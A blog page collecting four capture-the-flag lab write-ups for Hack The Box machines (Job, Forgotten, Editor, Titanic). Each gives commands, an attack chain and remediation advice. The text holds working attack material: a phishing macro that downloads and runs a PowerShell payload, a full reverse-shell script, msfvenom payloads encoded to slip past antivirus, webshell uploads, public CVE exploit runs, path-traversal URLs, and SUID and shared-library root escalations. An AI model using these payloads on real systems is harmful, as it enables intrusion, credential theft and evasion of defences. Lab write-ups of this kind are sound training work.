kami@kali:~$ journalctl

  • Job Writeup

    Job writeup

    Box name: Job

    Difficulty: Medium

    OS: Windows

    Overview: Job is a Medium difficulty Windows box. It runs an SMTP server and its website accepts LibreOffice-compatible documents, providing a vector to deliver a document with embedded macros that leads to remote code execution as user jack.black. jack.black is a member of the DEVELOPERS group, which has write access to C:\inetpub\wwwroot (the IIS web root), allowing files to be placed in the webroot and achieve code execution as the IIS AppPool service account. The IIS AppPool account has the SeImpersonate privilege, creating conditions that allow token-impersonation techniques to be used to escalate privileges to Administrator.

    Link: https://app.hackthebox.com/machines/Job?tab=machine_info&sort_by=created_at&sort_type=desc

    Machine IP: 10.129.234.73

    Ran rustscan against the machine.

    rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

    Navigated to the webserver and it tells us to send in an application/CV as a libre office document. We can’t do it here but it gives us an address career@job.local

    We do see port 25 (SMTP) open. We can maybe create a malicious libre office document and send an email. Upon research we can use macros possibly. Created a msfvenom payload.

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f psh -o shell.ps1

    Set up an http.server.

    My current LibreOffice Writer wasn’t working so I downloaded that then opened LibreOffice Writer.

    Went to Tools -> Macros -> Edit Macros. Got a base64 payload to download the revshell and added it to the macro.

    python3 -c “import base64; cmd = \”IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.27/shell.ps1’)\”; print(base64.b64encode(cmd.encode(‘UTF-16LE’)).decode())”

    Sub Main
    Dim oShell As Object
    oShell = CreateObject("WScript.Shell")
    oShell.Run "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIANwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQAnACkA", 0, False
    End Sub

    Then added it so it would run upon open under Tools -> Customize -> Events. Used sendemail to send the file.

    sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a ~/Downloads/hacked.odt -s 10.129.234.73:25

    I was getting a response on my httpserver but was not getting a shell. I was able to create a new shell that got us a connection.

    cat > ~/Fknhack/shell.ps1 << 'EOF'
    $client = New-Object System.Net.Sockets.TCPClient('10.10.16.27',1337);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
    };
    $client.Close()
    EOF

    And we get a shell as jack.black.

    Grabbed user.txt.

    Started windows local enumeration and we are in a JOB\developers group.

    Whoami /groups

    Did more enumeration and we can find that developers has write permissions to C:\inetpub\wwwroot.

    icacls C:\inetpub\wwwroot

    dir

    There is also already an .aspx file in there. Created a .aspx shell.

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx

    Transferred it to the victim host.

    (New-Object Net.WebClient).DownloadFile(‘http://10.10.16.27:8000/shell.aspx&#8217;, ‘C:\inetpub\wwwroot\shell.aspx’)

    Navigated to it in a browser to trigger it with a listener and we got a shell.

    Did additional enumeration as we are under a new account and I found we have SeImpersonatePrivilege privs.

    Whoami /priv

    I tried to get a meterpreter shell instead so we can abuse these tokens.

    I had to evade the AV as with no evasion it was being caught but eventually I got a shell. For evasion I used this.

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

    Incognito actually didn’t work or show tokens but get system worked.

    Getsystem

    Getuid

    And I was able to grab root.txt.

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 25 (SMTP), 80 (HTTP), and others. Browsed to the web server and found a job application portal instructing applicants to submit a LibreOffice-compatible CV to career@job.local. The combination of an SMTP server and a document upload vector immediately suggested a macro-based phishing attack.

    rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

    2 – Initial Access – malicious LibreOffice macro via SMTP Generated a PowerShell reverse shell payload with msfvenom and hosted it on an HTTP server. Created a LibreOffice Writer document with a macro that downloaded and executed the shell payload using a base64 encoded PowerShell command. Configured the macro to trigger on document open via Tools – Customize – Events. Sent the malicious document to career@job.local via sendEmail. The initial msfvenom payload was caught by AV so replaced it with a raw TCP PowerShell shell script. Obtained a shell as jack.black and retrieved user.txt.

    sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a hacked.odt -s 10.129.234.73:25

    3 – IIS web root write access via DEVELOPERS group Enumerated group memberships and found jack.black was in the JOB\DEVELOPERS group. Confirmed the DEVELOPERS group had write access to C:\inetpub\wwwroot. Generated an ASPX reverse shell with msfvenom, transferred it to the web root, and triggered it via browser to obtain a shell as the IIS AppPool service account.

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx icacls C:\inetpub\wwwroot

    4 – Privilege Escalation – SeImpersonatePrivilege via Meterpreter getsystem Confirmed the IIS AppPool account held SeImpersonatePrivilege. Standard Meterpreter payloads were caught by Defender. Used XOR dynamic encoding with multiple iterations to evade AV detection and obtain a Meterpreter session. Incognito token impersonation was unavailable but getsystem succeeded in escalating to SYSTEM. Retrieved root.txt.

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx


    Key Takeaways

    1. SMTP server accepting unauthenticated email enabling macro delivery – The SMTP server accepted mail from arbitrary external senders with no authentication or sender verification, allowing delivery of a malicious document to an internal mailbox. SMTP servers must require authentication for submission and must implement sender verification controls including SPF, DKIM, and DMARC.
    2. Document processing without macro sandboxing or stripping – The career portal processed LibreOffice documents including embedded macros without sandboxing or stripping executable content. Document processing pipelines must disable macro execution entirely or process documents in an isolated environment with no network access and no ability to execute system commands.
    3. DEVELOPERS group with write access to IIS web root – The JOB\DEVELOPERS group had write access to C:\inetpub\wwwroot, allowing any member to deploy arbitrary ASPX files and achieve code execution under the IIS AppPool account. Web root write access must be restricted to dedicated deployment service accounts and must never be granted to broad developer groups.
    4. IIS AppPool account holding SeImpersonatePrivilege – The IIS application pool service account held SeImpersonatePrivilege which is a well-known privilege escalation path via token impersonation attacks. IIS AppPool accounts must run under dedicated identities with the minimum required permissions and must be audited for excessive privileges including SeImpersonatePrivilege.
    5. AV evasion required but achievable with basic encoding – Defender blocked standard Meterpreter payloads but was bypassed using XOR encoding with multiple iterations. Reliance on signature-based AV as the primary defense is insufficient. Behavioral detection, application whitelisting, and network-level controls must be layered to detect post-exploitation activity regardless of payload encoding.

    Remediation

    [Immediate] Require SMTP authentication and implement email content filtering Configure the SMTP server to require authentication for all mail submission and reject unauthenticated connections from external sources. Deploy an email security gateway that strips or sandboxes macro-enabled documents before delivery. Implement SPF, DKIM, and DMARC to prevent spoofed sender addresses.

    [Immediate] Disable macro execution in document processing Process all submitted documents in an isolated sandbox with no network access and no script or macro execution capability. If document preview or conversion is required, use a dedicated conversion service that renders documents without executing embedded code. Alert on any submitted document containing macros.

    [Immediate] Remove write access from the DEVELOPERS group on the IIS web root Remove the DEVELOPERS group write permission from C:\inetpub\wwwroot immediately. Restrict web root write access to a dedicated deployment service account used exclusively for controlled deployments via an approved CI/CD pipeline. Audit the current web root for any unauthorized files including shell.aspx and meter.aspx and remove them.

    [Immediate] Remove SeImpersonatePrivilege from the IIS AppPool account Audit the IIS AppPool account’s privileges and remove SeImpersonatePrivilege. Run IIS application pools under dedicated managed service accounts with the minimum permissions required. Verify that no application pool identity holds SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, or other token manipulation privileges.

    [Short-term] Deploy behavioral endpoint detection Supplement signature-based AV with a behavioral EDR solution that detects post-exploitation activity including PowerShell download cradles, ASPX webshell execution, and token impersonation regardless of payload encoding. Alert on PowerShell executing from document processing contexts and on ASPX files being written to the web root.

    [Long-term] Implement a secure document handling and web application deployment baseline Define a standard for all document intake processes covering macro stripping, sandboxed processing, and file type validation. Establish a controlled deployment pipeline for the IIS web root with change logging and file integrity monitoring. Include document processing pipelines and IIS configurations in the regular penetration testing scope.

  • Forgotten writeup

    Forgotten writeup

    Box name: Forgotten

    Difficulty: Easy

    OS: Linux

    Overview: Forgotten is a Easy difficulty Linux machine from VulnLab that showcases several real-world techniques. By discovering an unfinished LimeSurvey installation the player will deploy a controlled MariaDB instance to complete the web application installation with, thereby gaining administrative access to the application. Players will then upload a malicious LimeSurvey plugin to achieve remote code execution inside of a Docker container. After enumerating the container players will discover an environment variable that will grant access to the host as well as the ability to enumerate sudo privileges within the docker container. With low privilege access to the host and root privilege to the container, players can then expect to chain the two together in order to escalate privileges by leveraging a setuid binary.

    Link: https://app.hackthebox.com/machines/Forgotten?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.234.81

    Ran rustscan against the machine.

    rustscan -a 10.129.234.81 –ulimit 5000 -b 500 — -A -Pn

    Navigated to the site but it 403s, forbidden.

    Ran feroxbuster to directory bust to see if there’s anything additional.

    feroxbuster -u http://10.129.234.81 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

    We got some 301s. Navigated to that and it looks like there is a LimeSurvey that was being installed but ‘forgotten’.

    Going through the installer it asks us to set up a database.

    We can set one up on our machine.

    sudo docker pull mysql

    sudo docker run -p 3306:3306 –rm –name tmp-mysql -e MYSQL_ROOT_PASSWORD=password mariadb:latest

    Once thats set up we can have LimeSurvey to connect to us.

    It then asks us to create a database and then brings us to Administrator settings.

    Once finished it brings us to a login and we can log in with the credentials we have.

    Upon logging in we get a version. 

    Upon research this is vulnerable to https://nvd.nist.gov/vuln/detail/CVE-2021-44967 for RCE. Found this exploit code https://github.com/D3Ext/CVE-2021-44967. Read through it, this allows the RCE by the install plugins function, which could let a remote malicious user upload an arbitrary PHP code file.

    python3 CVE-2021-44967.py –url http://10.129.234.81/survey –user admin –password password –lhost 10.10.16.27 –lport 1337 –verbose

    Nc -lvnp 1337

    Did some local enumeration. After a while it appears we are in a docker container. When running id we can see we are in the sudo group but we don’t have creds yet.

    id

    Eventually after running env we can find the credentials.

    env

    limesvc:5W5HN4K4GCXf9E

    I was able to ssh in with these credentials.

    ssh limesvc@10.129.234.81

    We can also confirm root on the container. We need to stabilize the shell first and we can do so with:

    script -qc /bin/bash /dev/null

    Created a file to see if I can see it from the main file system and we can.

    touch testhackedtest

    find / -name testhackedtest -type f 2>/dev/null

    Since we can and we have root we can move bash with a SUID bit and get root.

    cp /bin/bash .

    chmod +s bash

    ./bash -p

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Browsed to port 80 and received a 403. Ran feroxbuster and found 301 redirects leading to an incomplete LimeSurvey installation at /survey.

    rustscan -a 10.129.234.81 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://10.129.234.81 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

    2 – LimeSurvey installation hijack The LimeSurvey installer was left exposed and incomplete. Span up a local MariaDB Docker container and pointed the LimeSurvey installer at it to complete the setup. Set a known admin password during installation and logged in as administrator.

    sudo docker run -p 3306:3306 –rm –name tmp-mysql -e MYSQL_ROOT_PASSWORD=password mariadb:latest

    3 – Initial Access – LimeSurvey malicious plugin upload – CVE-2021-44967 Identified the LimeSurvey version as vulnerable to CVE-2021-44967, an authenticated RCE via malicious plugin upload. Used a public exploit to upload a PHP webshell through the plugin installer and caught a reverse shell inside a Docker container.

    python3 CVE-2021-44967.py –url http://10.129.234.81/survey –user admin –password password –lhost 10.10.16.27 –lport 1337 –verbose

    4 – Container enumeration and SSH credential discovery Confirmed the shell was inside a Docker container. Found that the current user was in the sudo group but had no password yet. Ran env and found plaintext SSH credentials in the container’s environment variables. SSH’d into the host as limesvc and retrieved user.txt.

    env

    Credentials recovered: limesvc:5W5HN4K4GCXf9E

    5 – Privilege Escalation – SUID bash via shared container volume Enumerated the container and found the container ran as root. Found a shared volume between the container and the host filesystem. Created a test file in the container and confirmed it was visible on the host. Copied bash into the shared directory and set the SUID bit from the container. Executed the SUID bash from the host as limesvc to obtain a root shell. Retrieved root.txt.

    cp /bin/bash . chmod +s bash ./bash -p


    Key Takeaways

    1. Exposed and incomplete web application installer – The LimeSurvey installer was left accessible on a public-facing web server, allowing any visitor to complete the installation with attacker-controlled database credentials and set their own admin password. Web application installers must be removed or restricted immediately after setup and must never be left accessible on production systems.
    2. LimeSurvey authenticated plugin upload RCE – CVE-2021-44967 (CVSS 8.8 High) – The LimeSurvey version was vulnerable to remote code execution via a malicious plugin upload through the admin panel. Survey and CMS platforms must be kept fully patched and plugin upload functionality must be restricted to trusted administrators only.
    3. Plaintext credentials in Docker container environment variables – The limesvc SSH credentials were stored in the container environment variables, readable by any process running inside the container. Container secrets must never be passed as environment variables and must be managed through Docker Secrets or a dedicated secrets manager with runtime injection.
    4. Container running as root with a shared host volume – The LimeSurvey container ran as root and had a volume mounted to the host filesystem, allowing a SUID binary to be placed in a host-accessible directory from within the container. Containers must never run as root and must use dedicated non-privileged users. Shared volumes between containers and the host must be treated as a critical trust boundary and must restrict write access.
    5. Shared volume enabling container-to-host privilege escalation – Write access to a shared volume from a root container allowed placing a SUID bash binary accessible to a low-privilege host user, bypassing all host-level privilege controls. Volume mounts must enforce noexec and nosuid mount options where the application does not require script or binary execution from the mounted path.

    Remediation

    [Immediate] Remove or restrict the LimeSurvey installer Delete the installer directory or restrict access to it via web server configuration immediately. Incomplete installations must be detected and cleaned up as part of the deployment process. Implement a post-deployment checklist that verifies all installer components are removed before a service is made externally accessible.

    [Immediate] Patch LimeSurvey to remediate CVE-2021-44967 (CVSS 8.8 High) Update LimeSurvey to the latest patched version. Restrict the admin panel to authorized IP ranges and require MFA on the administrator account. Disable or sandbox the plugin upload functionality unless explicitly required and log all plugin installation events.

    [Immediate] Remove credentials from container environment variables Audit all running containers for credentials stored in environment variables and migrate them to Docker Secrets or a secrets management solution. Rotate the limesvc SSH credentials immediately and audit all other accounts for reuse of the same password.

    [Immediate] Run containers as non-root users Configure the LimeSurvey container to run under a dedicated non-root user by adding a USER directive to the Dockerfile. Apply this to all containers across the environment. Run a full audit of all running containers for root or privileged users and remediate any findings.

    [Immediate] Apply nosuid and noexec to all shared host volume mounts Add the nosuid and noexec mount options to all Docker volume mounts that do not require binary execution. Audit all container volume configurations for shared paths that are writable from within the container and restrict permissions to the minimum required.

    [Long-term] Implement a container security hardening baseline Define a hardening standard for all Docker deployments covering non-root execution, secrets management, volume mount options, network isolation, and application lifecycle management including installer cleanup. Include container escape techniques and shared volume abuse in the regular penetration testing scope.

  • Editor writeup

    Editor writeup

    Box name: Editor

    Difficulty: Easy

    OS: Linux

    Overview: Editor is an easy-difficulty Linux machine that focuses on web application exploitation followed by local privilege escalation. Initial enumeration reveals a web application exposing an XWiki instance, which is identified as vulnerable to [CVE-2025-24893](https://nvd.nist.gov/vuln/detail/CVE-2025-24893), a remote code execution flaw in the SolrSearch endpoint. By adapting a public proof-of-concept, Groovy code injection is achieved, allowing arbitrary command execution and providing a shell as the xwiki user. Post-exploitation enumeration of the system reveals additional local users and misconfigurations that allow lateral movement to the user oliver. Further analysis of the system uncovers a privilege escalation vector involving a misconfigured SUID binary that relies on environment-controlled execution. By abusing PATH manipulation, a malicious binary is executed in place of a trusted system binary, resulting in execution with elevated privileges and ultimately granting root access.

    Link: https://app.hackthebox.com/machines/Editor?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.231.23

    Ran rustscan against the machine.

    rustscan -a 10.129.231.23 –ulimit 5000 -b 500 — -A -Pn

    Added editor.htb to /etc/hosts. Navigated to the website on port 80 first.

    When navigating to about it redirected me to wiki.editor.htb. Had to add that to /etc/hosts as well.

    We can also download SimplistCode Pro. I downloaded that for now but I want to check out the webserver on port 8080 too. This brings us to the same page on wiki.editor.htb.

    There is a version number at the bottom of the page, XWiki Debian 15.10.8.

    There is also a mention of a user neal, Neal Bagwell and there is some data under history of the user.

    Did some research for exploits and I found it is vulnerable to RCE CVE-2025-24893 https://github.com/hackersonsteroids/cve-2025-24893. Here is additional information on the exploit https://www.offsec.com/blog/cve-2025-24893/. Read through the exploit, downloaded the code and ran it and we got a shell.

    ./exploit.py wiki.editor.htb 10.10.16.27 4444

    nc -lvnp 4444

    Stabilized my shell. Checked users on the device and there is a user oliver.

    cat /etc/passwd

    Since I saw neal there has to be a database. Poked around config files for a while and in hibernate.cfg.xml I was able to find credentials.

    xwiki:theEd1t0rTeam99

    Connected to the database.

    mysql -u xwiki -p’theEd1t0rTeam99′ xwiki

    SHOW TABLES;

    SELECT * from xwikistrings;

    Copied the hash and tried cracking it. It was taking a while and realized I didn’t even try password reuse on oliver. I was actually able to SSH in with the original password, oliver:theEd1t0rTeam99

    ssh oliver@editor.htb

    Upon some local enumeration, netdata is currently interesting as a privesc path.

    Netstat -atnp

    id

    Ls -la /opt/netdata

    Did some research and I found this exploit https://github.com/AzureADTrent/CVE-2024-32019-POC. Followed these steps of compiling, transferred, preparing and trigger and I was able to get root.

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 8080 (HTTP). Added editor.htb to /etc/hosts. Browsed to port 80 which redirected to wiki.editor.htb. Added that to /etc/hosts as well. Found XWiki Debian 15.10.8 version number at the bottom of the page and noted a user neal mentioned in the page history. Both ports 80 and 8080 served the same XWiki instance.

    rustscan -a 10.129.231.23 –ulimit 5000 -b 500 — -A -Pn

    2 – Initial Access – XWiki RCE – CVE-2025-24893 Researched XWiki 15.10.8 and found CVE-2025-24893, a remote code execution vulnerability in the SolrSearch endpoint allowing Groovy code injection. Downloaded and ran the public exploit targeting wiki.editor.htb and caught a shell as the xwiki user.

    ./exploit.py wiki.editor.htb 10.10.16.27 4444

    3 – Database credential extraction and lateral movement Stabilized the shell and enumerated the filesystem. Found database credentials in hibernate.cfg.xml. Connected to the MySQL database and enumerated the xwikistrings table recovering password hashes. Instead of cracking the hash, tried password reuse on the oliver account directly and SSH’d in successfully. Retrieved user.txt.

    mysql -u xwiki -p’theEd1t0rTeam99′ xwiki SELECT * from xwikistrings;

    Credentials recovered: oliver:theEd1t0rTeam99

    4 – Privilege Escalation – Netdata SUID binary PATH hijack – CVE-2024-32019 Local enumeration identified Netdata installed in /opt/netdata with a misconfigured SUID binary that relied on environment-controlled execution. Found CVE-2024-32019 affecting this version. Compiled a malicious binary, transferred it to the target, manipulated the PATH environment variable to intercept a trusted system binary call made by the SUID binary, and triggered execution to obtain a root shell. Retrieved root.txt.


    Key Takeaways

    1. XWiki RCE via SolrSearch Groovy injection – CVE-2025-24893 (CVSS 9.8 Critical) – XWiki 15.10.8 was vulnerable to unauthenticated remote code execution through the SolrSearch endpoint which evaluated user-supplied Groovy code without sanitization. Wiki and collaboration platforms must be kept fully patched and all search and rendering endpoints must be treated as high-risk attack surfaces.
    2. Database credentials in plaintext config file – The xwiki database credentials were stored in plaintext in hibernate.cfg.xml, readable after gaining a foothold as the xwiki service user. Application configuration files must have restrictive permissions and credentials must be injected at runtime via environment variables or a secrets management solution rather than hardcoded in files.
    3. Password reuse between database and OS account – The xwiki database password was reused for the oliver OS account, turning a configuration file read into direct SSH access. Passwords must be unique across every account and service without exception. A database credential must never match any OS account password.
    4. User enumeration via wiki page history – The neal username was visible in the XWiki page history without authentication, providing a valid domain user for further enumeration. Wiki history and user attribution must require authentication to view and must be configured to minimize user disclosure to untrusted visitors.
    5. Netdata SUID binary vulnerable to PATH hijacking – CVE-2024-32019 (CVSS 7.8 High) – The Netdata SUID binary called system utilities using relative paths, allowing a malicious binary to be substituted by manipulating the PATH environment variable. SUID binaries must use absolute paths for all system calls and must clear the environment before execution. Netdata must be kept fully patched and must not run as root where avoidable.

    Remediation

    [Immediate] Patch XWiki to remediate CVE-2025-24893 (CVSS 9.8 Critical) Update XWiki to the latest patched version immediately. Restrict access to the XWiki instance to authenticated users only and disable or sandbox the SolrSearch endpoint until a patch is applied. Place the wiki behind a WAF with Groovy injection detection rules and restrict it to authorized management IP ranges where possible.

    [Immediate] Patch Netdata to remediate CVE-2024-32019 (CVSS 7.8 High) Update Netdata to the latest patched version immediately. Remove the SUID bit from the Netdata binary if it is not explicitly required for its operation. Run Netdata under a dedicated least-privilege service account and audit all SUID binaries on the system for PATH-dependent system calls.

    [Immediate] Restrict hibernate.cfg.xml permissions and rotate credentials Set hibernate.cfg.xml to be readable only by the xwiki service account using mode 640 or stricter. Rotate the xwiki database password immediately and ensure the new credential is unique to the database account. Migrate all application secrets to environment variables or a dedicated secrets manager.

    [Immediate] Enforce unique passwords across all accounts The oliver account reused the xwiki database password. Rotate all accounts where theEd1t0rTeam99 was in use and enforce a policy requiring unique passwords per account and per service. Audit all OS accounts for passwords matching any known application or database credential.

    [Short-term] Restrict wiki user attribution and history visibility Configure XWiki to require authentication before displaying page history, user profiles, or contributor information. Audit all publicly visible pages for user attribution data that could aid attacker enumeration and restrict visibility to authenticated users with appropriate permissions.

    [Long-term] Implement a web application and wiki hardening baseline Define a hardening standard for all wiki and collaboration platform deployments covering patch cadence, authentication requirements for all content, search endpoint sandboxing, config file permissions, and secrets management. Include XWiki and similar platforms in regular vulnerability scans and penetration tests. Establish SLAs requiring critical severity patches to be applied within 24 hours of vendor release.

  • Titanic writeup

    Titanic writeup

    Box name: Titanic

    Difficulty: Easy

    OS: Linux

    Overview: Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.

    Link: https://app.hackthebox.com/machines/Titanic?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.231.221

    Ran rustscan against the machine.

    rustscan -a 10.129.231.221 –ulimit 5000 -b 2000 — -A -Pn

    Added titanic.htb to /etc/hosts. Checked out the webserver.

    Ran feroxbuster for directory busting, ffuf to look for subdomains and vhosts.

    feroxbuster -u http://titanic.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

    ffuf -u http://titanic.htb -H “Host: FUZZ.titanic.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

    ffuf -u http://FUZZ.titanic.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

    Right away when fuzzing for vhosts I found dev.titanic.htb.

    Added that to /etc/hosts and navigated to that.

    It’s a Gitea instance, version at the bottom. Version 1.22.1

    Ran directory busting here aswell.

    feroxbuster -u http://dev.titanic.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

    I was able to create a test account, test:testtest. Under /explore/users we can see other users.

    Additionally we can see two repos from developer under /explore/repos.

    In the flask-app it looks like this is the program that deals with the booking system on the original webpage.

    Upon reading the code there is a mention of a /download endpoint that lets us download files.

    Upon attempting to download I eventually realized we can download /etc/passwd by navigating to http://titanic.htb/download?ticket=../../../../etc/passwd.

    We can also grab the git credentials by navigating to http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db. This gives us the database files and we can find the users and hashed password.

    Saved the salted hash and cracked it with hashcat.

    hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

    Developer:25282528

    And I was able to ssh in with this account and grab user.txt.

    Hosted a http server so I can move over winpeas.

    sudo python3 -m http.server

    curl http://10.10.16.27:8000/linpeas.sh -o linpeas.sh

    chmod +x linpeas.sh

    ./linpeas.sh

    I wasn’t able to find anything fully interesting with the linpeas results. Eventually after a while of linux enumeration, I came across a identify_images.sh file that is running as root every minute. We can tell by /opt/app/static/assets/images/metadata.log updating.

    In the file it’s running /usr/bin/magick. Checked the version of that. 

    Upon researching this is vulnerable to CVE-2024-41817 https://github.com/Dxsk/CVE-2024-41817-poc/blob/main/exploit.py. Python isn’t on the victim machine so instead I copied the important parts of the exploit on the machine.

    gcc -x c -shared -fPIC -o ./libxcb.so.1 - << 'EOF'
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    __attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
    exit(0);
    }
    EOF

    Then after giving it some time I got a shell as root by running the rootbash.

    /tmp/rootbash -p

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added titanic.htb to /etc/hosts and browsed to the site which advertised a Titanic booking service. Ran feroxbuster and ffuf for directory busting and VHOST enumeration. Immediately found dev.titanic.htb. Added it to /etc/hosts and found a Gitea instance running version 1.22.1.

    rustscan -a 10.129.231.221 –ulimit 5000 -b 2000 — -A -Pn ffuf -u http://titanic.htb -H “Host: FUZZ.titanic.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302,301

    2 – Gitea enumeration and path disclosure Registered a test account on Gitea and explored public repositories under the developer user. Found a flask-app repository containing the source code for the booking website. Identified a /download endpoint in the code that served files from the filesystem based on a ticket parameter with no path validation.

    3 – Arbitrary file read and Gitea database extraction Exploited the /download endpoint with path traversal to read /etc/passwd and confirm the vulnerability. Used the Gitea Docker volume path identified from the repository to download the Gitea SQLite database directly. Extracted the developer user’s salted password hash from the database and cracked it with Hashcat using rockyou.

    http://titanic.htb/download?ticket=../../../../etc/passwd http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: developer:25282528

    4 – SSH access and user flag Authenticated via SSH as developer and retrieved user.txt.

    5 – Privilege Escalation – ImageMagick shared library hijack – CVE-2024-41817 Ran LinPEAS and identified a root-owned cron script at /opt/scripts/identify_images.sh executing every minute. The script called /usr/bin/magick to process images in the static assets directory. Checked the magick version and found it vulnerable to CVE-2024-41817, a shared library loading vulnerability. Compiled a malicious libxcb.so.1 shared library in the image directory that copied bash and set the SUID bit when loaded. Waited for the cron job to execute and spawned a root shell using the SUID bash.

    gcc -x c -shared -fPIC -o ./libxcb.so.1 – << ‘EOF’ /tmp/rootbash -p


    Key Takeaways

    1. Path traversal in the /download endpoint – CWE-22 – The ticket parameter was passed directly to a file read function with no path validation, allowing traversal to arbitrary files including the Gitea database. All file path inputs must be validated against a strict allowlist and must resolve to an explicitly approved directory. Directory traversal sequences must be rejected at the application level.
    2. Gitea database path disclosed in public repository – The Docker volume mount path for the Gitea data directory was visible in the public repository, providing the exact path needed to extract the database via the LFI. Internal configuration details including volume paths and service locations must not be committed to any repository accessible to untrusted users.
    3. Gitea user password hash crackable with rockyou – The developer password hash was cracked using the rockyou wordlist. Application user passwords must meet complexity requirements that resist offline cracking and Gitea must enforce a strong password policy for all user accounts.
    4. Weak password on a developer account with server access – The developer password 25282528 was a simple numeric string easily cracked from a hash. Developer and service accounts with SSH access must use strong randomly generated passwords or key-based authentication exclusively.
    5. ImageMagick CVE-2024-41817 exploitable via cron-executed script – CVSS 7.8 High – The magick binary loaded shared libraries from the current working directory before system paths, allowing a malicious library placed in the image processing directory to execute as root when the cron job ran. Binaries used in privileged scripts must be kept fully patched and scripts must set a safe working directory before invoking any binary susceptible to shared library hijacking.

    Remediation

    [Immediate] Remediate the path traversal vulnerability in the /download endpoint – CWE-22 Rewrite the download handler to resolve the requested file path and verify it falls within an explicitly approved base directory before serving it. Reject any path containing traversal sequences. Conduct a full code review of the flask application for additional file read or write operations accepting user input.

    [Immediate] Patch ImageMagick to remediate CVE-2024-41817 (CVSS 7.8 High) Update ImageMagick to the latest patched version immediately. Set an explicit safe working directory in the identify_images.sh script using cd /safe/path before invoking magick and ensure no user-writable directories are in the library search path during execution. Restrict write access to the image processing directory to root only.

    [Immediate] Restrict the Gitea repository visibility and remove sensitive path disclosures Audit all public Gitea repositories for configuration data, volume paths, connection strings, and internal service locations. Remove any findings and restrict the developer repositories to authenticated users only. Disable public repository browsing unless there is an explicit operational requirement.

    [Immediate] Rotate the developer account password and enforce SSH key authentication Rotate the developer SSH password immediately. Enforce key-based SSH authentication for all developer and service accounts and disable password-based SSH login. Require the use of strong passphrases on all SSH private keys.

    [Short-term] Restrict cron script execution directories and file permissions Audit all scripts executed by root cron jobs and verify that the working directory and all processed paths are not writable by non-root users. Set strict permissions on /opt/scripts and the image processing directory. Implement file integrity monitoring on cron-executed scripts to alert on unauthorized modifications.

